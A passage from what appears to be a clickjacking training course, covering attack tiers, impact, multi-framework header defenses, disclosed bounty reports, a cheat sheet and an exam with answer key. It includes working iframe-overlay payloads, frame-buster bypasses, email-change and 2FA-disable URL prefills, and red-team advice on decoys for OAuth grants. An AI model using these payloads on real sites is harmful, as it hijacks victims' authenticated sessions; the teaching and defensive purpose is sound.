Tier 8: window-positioned stealth

html
<script>window.resizeTo(800, 500);</script>
<iframe style="opacity:0.0001;z-index:2;position:absolute;top:-200px" src="TARGET"></iframe>

Tier 9: nested iframe (X-Frame-Options: SAMEORIGIN bypass when a same-origin page is permissive)

html
<!-- attacker.com loads same-origin-permissive-third-party.target.com loads sensitive -->
<iframe src="https://uploads.target.com/preview?html=..."></iframe>

Tier 10: data: URI decoy (offline)

html
<iframe src="data:text/html,<h1>Loading...</h1>"></iframe>

SECTION 14. Wordlists and Payload Libraries

Practical advice

  • Keep a 5-line PoC template ready: iframe with `z-index: 2 opacity: 0.0001`, decoy div with `z-index: 1`, two CSS coordinates, one iframe URL.
  • Maintain a small set of polished decoys ("Free Phone", "Newsletter Unsubscribe", "Watch the Match Live") -- the social-engineering polish drives click-through.
  • Build a one-line scanner with `curl -I` for missing headers to triage targets quickly.
  • Save real bounty PoCs from disclosed HackerOne reports as a reference library.

SECTION 15. Impact

Impact ranges from low (likejacking) to critical (admin destructive actions or OAuth account takeover).

Step 1: information disclosure

The decoy alignment exposes the visual structure of a page that may be behind authentication, indicating internal layouts or feature presence.

Step 2: nuisance UI actions

Force a victim to like, follow, share, or favorite. Low impact unless combined with other vectors.

Step 3: profile modification

Change preferences, notification settings, or non-critical fields.

Step 4: email change

Combined with URL prefill, email change is the gateway to account takeover via password reset.

Step 5: 2FA disablement

Decoy over the "Disable 2FA" button; victim's account is now weaker for further attacks.

Step 6: OAuth approval / SSO grant

Single click grants persistent third-party access. The Coinbase HackerOne report at https://hackerone.com/reports/65825 paid $5,000 for this. WakaTime double-Clickjacking on the OAuth flow is a higher-tier variant.

Step 7: payment / transfer

Where allowed by application design, a misdirected click transfers funds or makes purchases.

Step 8: account deletion

One click, account gone. Hard to undo on most platforms.

Step 9: admin actions

On admin panels: delete user, ban, refund, modify roles, grant access. Compound impact across the user base.

Step 10: account takeover via chain

Clickjacking + email change + password reset = full ATO without credential theft.

Step 11: persistent third-party access

OAuth grant to attacker app survives password rotation; the attacker reads inbox/data persistently.

Step 12: phishing amplification

Clickjacking inside a believable phishing page massively increases conversion from impression to compromise.

Step 13: regulatory and contractual fallout

GDPR, HIPAA, PCI DSS violations when sensitive actions execute without user consent.

Step 14: reputational damage

Public disclosure of OAuth or admin Clickjacking on banking or crypto platforms shrinks user trust.

Step 15: long-tail cost

Remediation, audit cycles, deployment of header policies across legacy services.

SECTION 16. Prevention

The fix is one HTTP response header per page. Defense-in-depth combines two headers plus cookie attributes and re-authentication on sensitive actions.

The two rules that cover almost everything

  • 1. Every authenticated and state-changing page sets `Content-Security-Policy: frame-ancestors 'none'` (or a strict allowlist).
  • 2. The same pages also set `X-Frame-Options: DENY` as legacy fallback.

If both hold, classical Clickjacking cannot happen.

Header values explained

text
X-Frame-Options: DENY            -- no site, including this one, can frame the page
X-Frame-Options: SAMEORIGIN      -- only the same origin can frame the page
Content-Security-Policy: frame-ancestors 'none'                    -- equivalent of DENY
Content-Security-Policy: frame-ancestors 'self'                    -- equivalent of SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' https://partner.com  -- explicit allowlist (modern best practice)

`Content-Security-Policy: frame-ancestors` is the modern preferred header. `X-Frame-Options` is the legacy fallback for older browsers. Set both for compatibility.

Vulnerable vs safe (Node.js Express with Helmet)

Vulnerable:

javascript
const express = require('express');
const app = express();
// no helmet, no frame headers

Safe:

javascript
const express = require('express');
const helmet = require('helmet');
const app = express();

app.use(helmet.frameguard({ action: 'deny' }));
app.use(helmet.contentSecurityPolicy({
  directives: {
    'frame-ancestors': ["'none'"]
  }
}));

Vulnerable vs safe (Python Django)

Django 2.0+ ships X-Frame-Options middleware by default. Keep it enabled:

python
# settings.py
MIDDLEWARE = [
    ...
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
X_FRAME_OPTIONS = 'DENY'

# Add CSP via django-csp:
CSP_FRAME_ANCESTORS = ("'none'",)

Avoid `@xframe_options_exempt` on sensitive views.

Vulnerable vs safe (Python Flask)

python
from flask import Flask
from flask_talisman import Talisman

app = Flask(__name__)
Talisman(app,
         frame_options='DENY',
         content_security_policy={'frame-ancestors': "'none'"})

Vulnerable vs safe (Java Spring Security)

Spring Security adds `X-Frame-Options: DENY` by default. Add CSP frame-ancestors:

java
@Configuration
public class SecurityConfig {
    @Bean
    SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
        http.headers(headers -> headers
            .frameOptions(frame -> frame.deny())
            .contentSecurityPolicy(csp -> csp.policyDirectives("frame-ancestors 'none'"))
        );
        return http.build();
    }
}

Vulnerable vs safe (.NET ASP.NET Core)

csharp
app.Use(async (context, next) => {
    context.Response.Headers["X-Frame-Options"] = "DENY";
    context.Response.Headers["Content-Security-Policy"] = "frame-ancestors 'none'";
    await next();
});

Vulnerable vs safe (PHP)

php
<?php
header('X-Frame-Options: DENY');
header("Content-Security-Policy: frame-ancestors 'none'");

Apply via a central include or a security-headers middleware (e.g., `paragonie/csp-builder`).

Vulnerable vs safe (NGINX)

nginx
add_header X-Frame-Options "DENY" always;
add_header Content-Security-Policy "frame-ancestors 'none'" always;

Vulnerable vs safe (Apache)

apache
Header always set X-Frame-Options "DENY"
Header always set Content-Security-Policy "frame-ancestors 'none'"

Additional layered defenses

  • Session cookie attributes: `SameSite=Strict; Secure; HttpOnly`. Strict provides incidental protection in modern browsers.
  • Sensitive actions: require password re-authentication or step-up MFA. Even a misdirected click cannot complete the action without the password.
  • Avoid GET for state changes. State changes go through POST or PUT.
  • Confirmation modals that cannot be aligned together as a fixed multi-click sequence (e.g., randomized button positions on confirm).
  • Server-side: log and alert on `frame-ancestors` CSP violation reports (`report-uri`/`report-to`).

Developer checklist

  • Every authenticated page has both `X-Frame-Options` and `Content-Security-Policy: frame-ancestors` set.
  • Headers come from central middleware, not per-controller.
  • No `xframe_options_exempt`, no `frameOptions().disable()`, no per-page exceptions on sensitive pages.
  • OAuth/SSO consent screens are explicitly listed for review.
  • Admin panel pages are pinned to `frame-ancestors 'none'`.
  • No JavaScript frame buster is treated as the sole defense.
  • Sensitive actions require re-authentication or step-up MFA.
  • CI test asserts the presence of the headers on every protected route.
  • Mozilla Observatory / SecurityHeaders.com checked at deploy time.

Enterprise mitigations

  • CDN/edge enforcement of frame-protection headers (Cloudflare, Akamai, Fastly transforms).
  • WAF rule that injects `X-Frame-Options: DENY` if missing (last-resort safety net).
  • SAST rule: flag `frameOptions().disable()`, `@xframe_options_exempt`, missing `helmet` in Node.
  • Browser-side reporting via `CSP report-uri` collects framing attempts in the wild.
  • Bug bounty programs scoped to include Clickjacking explicitly.

Why JavaScript frame busters are not enough

javascript
if (top !== self) top.location = self.location;

Bypasses:

  • `<iframe sandbox="allow-forms">` blocks scripts entirely
  • `<iframe sandbox="allow-scripts">` blocks `top.location` writes
  • `onbeforeunload` in the parent intercepts navigation
  • Double framing (nested iframes) confuses naive direct-parent checks
  • Slow loading races where the click happens before the buster runs

Use HTTP headers, not JavaScript, as the primary defense.

SECTION 17. Real-World Cases

Historical landmarks

  • Adobe Flash settings webcam Clickjacking (2008): Jeremiah Grossman and Robert Hansen named the attack class while demonstrating webcam/microphone permission hijack via UI redress on the Flash settings page.
  • Twitter "Don't Click" worm (2009): viral Clickjacking that hijacked Twitter follow buttons; led Twitter to deploy frame protection across the platform.
  • Facebook likejacking era (2010-2014): hundreds of campaigns hijacked Facebook Like buttons. Facebook hardened framing on all interactive elements.

Recent real HackerOne bug bounty reports

  • Coinbase -- OAuth authorization page vulnerable to Clickjacking (paid $5,000)

Report: https://hackerone.com/reports/65825 Fix: ensured OAuth responses included the same security headers (including X-Frame-Options) as the rest of the site. Lesson: OAuth screens are high-value Clickjacking targets; single grant = persistent third-party access.

  • WakaTime -- Double Clickjacking on OAuth authorization flow at https://wakatime.com/oauth/authorize

HackerOne corpus entry, 55 upvotes. Lesson: multistep Clickjacking on OAuth (two aligned clicks) defeats single-confirmation defenses.

  • WakaTime -- Clickjacking on https://wakatime.com/share/embed (authorized page).

Lesson: even "share" or "embed" pages need protection if they include any state-changing or trust-elevating action.

  • Sifchain -- Clickjacking on multiple URLs

Report: https://hackerone.com/reports/1199904 Lesson: many subdomains and routes; one missing header policy across them all.

  • Shopify -- Clickjacking on exchangemarketplace.com

HackerOne corpus entry. Lesson: secondary marketplaces and integrations often lag the main brand on header hygiene.

  • Nord Security (NordVPN) -- Clickjacking at join.nordvpn.com

HackerOne corpus entry. Lesson: marketing/signup pages also matter when they wrap account creation or upgrade.

  • WordPress -- Clickjacking in jobs.wordpress.net and wordcamp.org

HackerOne corpus entries. Lesson: large multi-property orgs miss headers on owned but lower-traffic properties.

  • TikTok -- Clickjacking can delete developer app (paid $500)

HackerOne corpus entry. Lesson: developer dashboards are sensitive even when not consumer-facing.

  • TikTok -- Clickjacking & CSRF chain on TikTok Ads Portal

HackerOne corpus entry; CSRF $1,000. Lesson: ad and merchant portals are particularly impactful targets.

  • X (Twitter) / xAI -- "Viral Direct Message Clickjacking via link truncation" leading to capture of Google credentials & installation of malicious third-party Twitter app (64 upvotes).

Lesson: chaining Clickjacking with content manipulation (link truncation) creates compound attacks.

  • X (Twitter) / xAI -- Stealing user emails by Clickjacking cards.twitter.com

HackerOne corpus entry. Lesson: PII can leak through Clickjacking on auxiliary surfaces.

  • Automattic / Tumblr -- Exploiting Clickjacking vulnerability to trigger self DOM-based XSS on api.tumblr.com

HackerOne corpus entry. Lesson: Clickjacking-to-XSS chains turn "low" findings into high-severity executions.

  • Mail.ru -- Modifying application settings via Clickjacking on o2.mail.ru (paid $150).

Report listing in https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPCLICKJACKING.md Lesson: even small settings changes can cascade.

  • Mail.ru -- "Make user buy items via Clickjacking possibility"

HackerOne corpus entry. Lesson: e-commerce purchase flows without frame protection are direct financial impact.

  • Imgur -- Self-XSS + Clickjacking leads to account takeover in Firefox

HackerOne corpus entry. Lesson: combine Clickjacking with self-XSS to overcome the "user must paste payload" limitation.

  • U.S. Dept of Defense -- Reflected XSS through Clickjacking

HackerOne corpus entries (multiple). Lesson: government VDP programs accept and triage Clickjacking-chained findings.

  • Yahoo (Flickr) -- Bypass of Clickjacking protection on Flickr using data URL in iframes

HackerOne corpus entry. Lesson: defenses that allow `data:` URI iframes can be circumvented.

Curated corpora

Lessons learned

  • Clickjacking is alive in 2026 on every category of site.
  • OAuth consent screens are the highest-paying Clickjacking targets.
  • Multistep variants beat single-confirmation defenses.
  • Combined with prefilled URL params, "one meaningless click" becomes account takeover.
  • The fix is one HTTP header; the cost of forgetting it is the price of any disclosed report above.

SECTION 18. References

Standards and frameworks

Browser documentation

Learning resources

Tools

Curated corpora

CVE/advisory feeds (Clickjacking is often advisory-only since the fix is server config)

SECTION 19. Practical Labs

Planned ANAS Clickjacking Labs (SOON)

  • ANAS-CJ-01 -- AnasMarket Classic Account Deletion, beginner
  • ANAS-CJ-02 -- AnasOne URL-prefilled Email Change, beginner
  • ANAS-CJ-03 -- AnasDocs Frame-Buster Bypass with sandbox, intermediate
  • ANAS-CJ-04 -- AnasSocial Clickjacking-to-DOM-XSS, intermediate
  • ANAS-CJ-05 -- AnasCorp Multistep Admin Confirmation, intermediate
  • ANAS-CJ-06 -- AnasOne OAuth Consent Clickjacking, advanced
  • ANAS-CJ-07 -- AnasBank 2FA Disable, advanced
  • ANAS-CJ-08 -- AnasMarket Cursor Spoofing, advanced
  • ANAS-CJ-09 -- AnasTravel Drag-and-Drop Hijack, advanced
  • ANAS-CJ-10 -- AnasMarket SAMEORIGIN bypass via nested iframe, advanced
  • ANAS-CJ-11 -- AnasOne data:URI bypass of weak defense, advanced
  • ANAS-CJ-12 -- AnasCorp Admin Panel Compound Chain (Clickjacking + CSRF gap), expert

PortSwigger Web Security Academy Clickjacking labs

Self-hosted lab targets

Lab progression suggestion

  • Week 1: PortSwigger Apprentice labs + ANAS-CJ-01/02 + sections 1-8 of this course.
  • Week 2: PortSwigger Practitioner labs + ANAS-CJ-03/04/05 + read every disclosed bounty report in section 17.
  • Week 3: ANAS-CJ-06/07/08 + try Clickbandit on a private app you own.
  • Week 4: ANAS-CJ-09 to 12 + start hunting on programs that explicitly scope Clickjacking.

SECTION 20. Cheat Sheet

text
+------------------------------------------------------------------+
|             ANAS EDUCATION -- CLICKJACKING CHEATSHEET            |
+------------------------------------------------------------------+
|                                                                  |
|  DETECTION                                                       |
|    curl -sI URL | grep -i 'x-frame\|frame-ancestors'             |
|    If empty -> framable -> potentially vulnerable                |
|    <iframe src="TARGET" w=1000 h=700></iframe>  (renders? yes)   |
|                                                                  |
|  CSS SKELETON                                                    |
|    iframe { position:rel; opacity:0.0001; z-index:2;             |
|             width:1000; height:700 }                             |
|    div    { position:abs; z-index:1; top:Y; left:X }             |
|    Test at opacity:0.5 first, ship at opacity:0.0001             |
|                                                                  |
|  COMMON TARGETS                                                  |
|    delete/account, change-email, change-password                 |
|    disable-2fa, oauth/authorize, /transfer, /admin/delete        |
|                                                                  |
|  FRAME-BUSTER BYPASS                                             |
|    <iframe sandbox="allow-forms">  blocks scripts                |
|    <iframe sandbox="allow-scripts"> blocks top.location          |
|    Avoid `allow-top-navigation` and `allow-same-origin`          |
|                                                                  |
|  URL PREFILL                                                     |
|    <iframe src="https://t/update-email?email=evil@x.com">        |
|    <iframe src="https://t/settings?2fa=disabled">                |
|                                                                  |
|  MULTISTEP                                                       |
|    Two divs with z-index:1 at coordinates of two real buttons    |
|    iframe with z-index:2 + opacity:0.0001                        |
|                                                                  |
|  CHAINS                                                          |
|    Clickjacking + URL prefill -> email change -> ATO             |
|    Clickjacking + DOM-XSS -> JS execution in target context      |
|    Clickjacking + OAuth -> persistent third-party grant          |
|                                                                  |
|  DEFENSE                                                         |
|    X-Frame-Options: DENY                                         |
|    Content-Security-Policy: frame-ancestors 'none'               |
|    SameSite=Strict; Secure; HttpOnly                             |
|    Re-auth on sensitive actions                                  |
|    No state-changing GET endpoints                               |
|    Avoid JS frame busters as sole defense                        |
|                                                                  |
|  KEY CWE: CWE-1021                                               |
|  OWASP CATEGORY: A05:2021 Security Misconfiguration              |
|                                                                  |
+------------------------------------------------------------------+
|                       Go hunt. -- ANAS EDUCATION                 |
+------------------------------------------------------------------+

SECTION 21. Exam

Thirty multiple-choice questions. Answer key at the end.

  • 1. The core CSS property that controls which element receives a click in a stacked layout is:

A) display B) opacity C) z-index D) visibility

  • 2. Which `opacity` value keeps an iframe invisible but still clickable?

A) display:none B) visibility:hidden C) opacity:0.0001 D) width:0

  • 3. The fundamental difference between Clickjacking and CSRF:

A) Same attack, different name B) CSRF requires a user click; Clickjacking does not C) Clickjacking requires a user click; CSRF does not D) Only CSRF uses cookies

  • 4. The CWE most directly mapped to Clickjacking is:

A) CWE-79 B) CWE-352 C) CWE-1021 D) CWE-89

  • 5. The OWASP Top 10 (2021) category that covers Clickjacking is:

A) A01 Broken Access Control B) A03 Injection C) A05 Security Misconfiguration D) A09 Security Logging Failures

  • 6. The modern preferred header to forbid framing is:

A) X-Content-Type-Options B) Strict-Transport-Security C) Content-Security-Policy: frame-ancestors D) Referrer-Policy

  • 7. `X-Frame-Options: DENY` means:

A) No site can frame the page (including same origin) B) Only same origin can frame C) Any site can frame D) Only `*` can frame

  • 8. The decoy in a Clickjacking PoC is positioned with:

A) z-index higher than the iframe B) z-index lower than the iframe C) Same z-index as iframe D) No z-index

  • 9. CSRF tokens defend against Clickjacking?

A) Yes, always B) No, because the request is generated by the framed legitimate page C) Only if rotated frequently D) Only with HTTPS

  • 10. A JS frame buster `if (top != self) top.location = self.location` can be bypassed by:

A) `<iframe sandbox="allow-forms">` -- scripts cannot run B) Compressing the page C) Removing the script tag client-side D) Disabling HTTPS

  • 11. To convert a meaningless click into an account-takeover trigger:

A) Use a URL parameter that prefills sensitive form fields B) Use SQLi C) Use SSRF D) Use cookies

  • 12. A multistep Clickjacking PoC:

A) Uses a single decoy B) Uses two or more decoys positioned over consecutive buttons in a flow C) Requires SQL injection D) Requires a frame buster

  • 13. The Coinbase OAuth Clickjacking bounty paid:

A) $50 B) $500 C) $5,000 D) $50,000

  • 14. The 2008 Adobe Flash Clickjacking research targeted:

A) Webcam/microphone permission prompts via UI redress B) The Flash uninstaller C) The Flash debugger D) The Flash IDE

  • 15. Clickjacking-to-DOM-XSS works by:

A) Framing the page with a URL param that contains the XSS payload, then aligning a decoy over the form's Submit button B) SQLi C) Stealing cookies D) DNS rebinding

  • 16. The sandbox attribute `allow-forms`:

A) Disables scripts in the iframe (defeating frame busters) while still allowing form submission B) Allows scripts C) Allows top navigation D) Removes the iframe

  • 17. A page returns `Content-Security-Policy: frame-ancestors 'self'`. This means:

A) Any origin can frame B) Only same origin can frame C) No site can frame D) The page is broken

  • 18. Best opacity value when testing PoC alignment:

A) 0 B) 0.0001 C) 0.5 D) 1.0

  • 19. Which is the highest-impact Clickjacking target?

A) Static About Us page B) OAuth consent screen C) Privacy Policy page D) Sitemap

  • 20. Helmet's `frameguard({ action: 'deny' })` in Node Express:

A) Sets `X-Frame-Options: DENY` B) Removes cookies C) Enables CORS D) Disables HTTPS

  • 21. Django's default frame protection is set by:

A) `XFrameOptionsMiddleware` to `X-Frame-Options: SAMEORIGIN` B) HTTPS C) `MIDDLEWARE = []` D) Django does not protect against framing

  • 22. Spring Security's default `frameOptions()` setting is:

A) ALLOW B) DENY (i.e., `X-Frame-Options: DENY` is enabled by default) C) SAMEORIGIN D) None

  • 23. The Clickbandit tool by PortSwigger is:

A) A WAF B) An interactive PoC generator for Clickjacking C) An XML parser D) A JWT cracker

  • 24. Which is NOT a typical Clickjacking impact?

A) Account deletion B) OAuth grant C) SQL data exfiltration D) 2FA disable

  • 25. The CSP directive that controls who can frame a page is:

A) script-src B) frame-src C) frame-ancestors D) form-action

  • 26. To detect Clickjackability with one shell command:

A) `nslookup target` B) `curl -sI URL | grep -i 'x-frame\|frame-ancestors'` C) `traceroute target` D) `ping target`

  • 27. Cursor spoofing in Clickjacking is:

A) Hiding the click handler B) Displacing the visible pointer from the actual click pixel via custom cursor offset C) Disabling mouse input D) Showing a different cursor color

  • 28. Mobile webview Clickjacking is possible when:

A) The underlying page lacks frame-ancestors and is loaded inside a webview that allows another HTML overlay B) Bluetooth is enabled C) Wi-Fi is disabled D) GPS is on

  • 29. Which combination produces a real account takeover via Clickjacking?

A) Frame the email-change form with `?email=attacker@evil.com` prefilled, victim clicks framed Save, then attacker triggers password reset to the new email B) Steal the password via WebSocket C) Disable HTTPS D) Brute-force the password

  • 30. The single most important takeaway about Clickjacking:

A) CSRF tokens cover all UI attacks B) SameSite cookies cover all UI attacks C) The fix is one HTTP header; the cost of forgetting it puts users one click from compromise D) Modern browsers prevent Clickjacking automatically by default

Answer key

  • 1.C 2.C 3.C 4.C 5.C 6.C 7.A 8.B 9.B 10.A
  • 11.A 12.B 13.C 14.A 15.A 16.A 17.B 18.C 19.B 20.A
  • 21.A 22.B 23.B 24.C 25.C 26.B 27.B 28.A 29.A 30.C

Scoring

  • 27 to 30: Clickjacking expert.
  • 24 to 26: Solid.
  • 19 to 23: Functional; re-read sections 11 and 16.
  • Below 19: re-read sections 1 to 8 and retake.

SECTION 22. Certificate Requirements

  • Read all 24 sections of this course.
  • Score 24/30 or higher on section 21.
  • Complete all 5 PortSwigger Web Security Academy Clickjacking labs.
  • Complete at least 8 of the 12 planned ANAS Clickjacking Labs (once released).
  • Build a working PoC against a controlled target that demonstrates a real state change (not just "page is framable").
  • Document one Clickjacking finding end-to-end in a write-up of 500+ words, with screenshots, HTTP traces, and the exact fix.
  • Maintain a personal payload library of 15+ Clickjacking templates organized by tier.

Ethical baseline

The techniques here work against live, authenticated sessions. Use them only on systems you own or have explicit written permission to test. Hosting decoys in the wild against unconsenting users is criminal in every jurisdiction this course is taught in.

SECTION 23. Important Notes

Common beginner mistakes

  • Stopping at "page is framable" without demonstrating a sensitive action being hijacked. Triagers reject these.
  • Confusing Clickjacking with CSRF (the differences are in sections 1, 5, and 23).
  • Forgetting to test alignment at opacity 0.5 before delivering at 0.0001.
  • Not exploring URL prefills that convert a click into a meaningful state change.
  • Ignoring multistep variants when the target has confirmation modals.
  • Reporting Clickjacking on logout or other no-impact endpoints.

Pentester tips

  • Map every authenticated state-changing action before crafting decoys.
  • Use Burp's right-click "Generate Clickjacking PoC" to seed templates.
  • Confirm in multiple browsers (Chrome, Firefox, Safari). Header enforcement varies subtly.
  • Build a polished decoy library ("Free Phone", "Newsletter Unsubscribe", "Watch the Match Live"). The polish drives click-through.
  • Save your PoC HTML with comments documenting the target coordinates and tested browser versions.

Bug bounty tips

  • OAuth consent screens are the highest-paying Clickjacking targets (Coinbase $5,000 at https://hackerone.com/reports/65825 is the canonical example).
  • Combine with prefilled URL params to demonstrate real account takeover, not just UI redress.
  • Chain with DOM-XSS or self-XSS for compound impact and higher payouts.
  • Admin panel Clickjacking on destructive endpoints (delete, ban, refund) consistently lands in the medium-to-critical range.
  • Always include a hosted PoC URL and a screenshot/video showing the click and the resulting state change.

Red team tips

  • Clickjacking is quiet: no malware, no exploit, no credentials stolen.
  • Useful for low-noise initial access via OAuth grants to attacker-controlled apps.
  • Combines naturally with phishing infrastructure.
  • Cleanup is automatic: one click and the attack is complete; nothing left running.

Defender tips

  • Set frame-protection headers from a single central middleware. Per-controller settings are how regressions happen.
  • SAST rules: flag `xframe_options_exempt`, `frameOptions().disable()`, missing helmet in Node, missing CSP frame-ancestors in templates.
  • CSP report-uri/report-to collects framing attempts in production -- treat any frame-ancestors violation as a near-miss.
  • Enforce headers at the edge (CDN/WAF) as the final safety net.

Things to remember during exams

  • CWE-1021, OWASP A05:2021.
  • Primary defense: `X-Frame-Options: DENY` + `CSP frame-ancestors 'none'`.
  • CSRF tokens do NOT stop Clickjacking.
  • Sandbox attribute defeats JS frame busters.
  • Multistep aligns decoys over consecutive buttons.

Frequently confused concepts

  • Clickjacking vs CSRF: Clickjacking needs a click on a misdirected element; CSRF needs no click and uses background requests.
  • Clickjacking vs XSS: XSS injects code into a page; Clickjacking overlays a real page on top of a fake one. They can chain.
  • X-Frame-Options vs CSP frame-ancestors: both block framing; the CSP version is modern and preferred. Use both.
  • Frame buster vs frame protection: a frame buster is JavaScript (bypassable); frame protection is an HTTP header (not bypassable by sandbox).
  • Likejacking vs Clickjacking: likejacking is the social-media specific variant of Clickjacking; the technique is identical.

Interview tips

  • Explain Clickjacking with the z-index / opacity / iframe sentence: invisible target iframe on top, visible decoy underneath.
  • Cite the 2008 Adobe Flash disclosure as the origin and the Coinbase OAuth report ($5k) as a modern paid example.
  • Mention `X-Frame-Options: DENY` and `CSP frame-ancestors 'none'` as the canonical defense pair.
  • Explain why CSRF tokens do not help (the request is generated by the legitimate page with its own valid token).
  • Be able to sketch the z-index stack on a whiteboard.

Key takeaways

  • Clickjacking abuses the browser's layering and hit-testing, not server code.
  • CSRF tokens and SameSite cookies do not stop it.
  • The fix is one HTTP header; the cost of forgetting it is one misdirected click.
  • Bug bounty payouts range from low (likejacking) to critical (admin actions, OAuth grants).
  • Real disclosed reports paying $5,000+ exist in 2026 -- this is not a museum bug.

SECTION 24. Final Word from Your Instructor

You finished the Clickjacking course. You now know more about this bug class than most working developers, and enough to find it, exploit it, and fix it in any codebase.

Here is the short version.

Clickjacking happens because browsers let any page frame any other page by default. The attacker uses CSS to place a visible decoy on top of the framed target, then drops the iframe's opacity so the user sees only the decoy. The user clicks. The browser delivers the click to the iframe. The real target executes the action in the user's authenticated session. No code was injected, no credentials were stolen, no CSRF token was forged. The cookie was simply attached automatically because the target page is loaded inside the user's browser.

The defense is one HTTP header per page. `Content-Security-Policy: frame-ancestors 'none'` is the modern form. `X-Frame-Options: DENY` is the legacy fallback. Set both. Apply through central middleware so a future developer cannot regress one route. SameSite cookies and CSRF tokens are useful for other attacks; they are not the answer here.

On the offensive side, the workflow is short. Load the target inside an iframe. If it renders, you are in business. Measure the coordinates of a sensitive button. Build the decoy. Test at opacity 0.5. Ship at 0.0001. Combine with a prefilled URL parameter to turn the meaningless click into a meaningful state change. Combine with sandbox to defeat the JS frame buster. Combine with DOM-XSS to upgrade from action-hijack to code execution. Combine with OAuth to grant persistent third-party access.

The Coinbase report at https://hackerone.com/reports/65825 paid $5,000 for OAuth Clickjacking. The WakaTime double-Clickjacking on OAuth, the TikTok developer-app deletion, the Imgur self-XSS + Clickjacking chain, the X (Twitter) viral DM Clickjacking, the Yelp business-page hijacks: all real, all disclosed, all preventable with one header.

When you see a sensitive page, ask: what does `curl -sI` return? If the headers are missing, you have a finding. Demonstrate impact. Write it up. Submit.

Stay curious. Stay ethical. Verify scope before you touch anything.

Go hunt.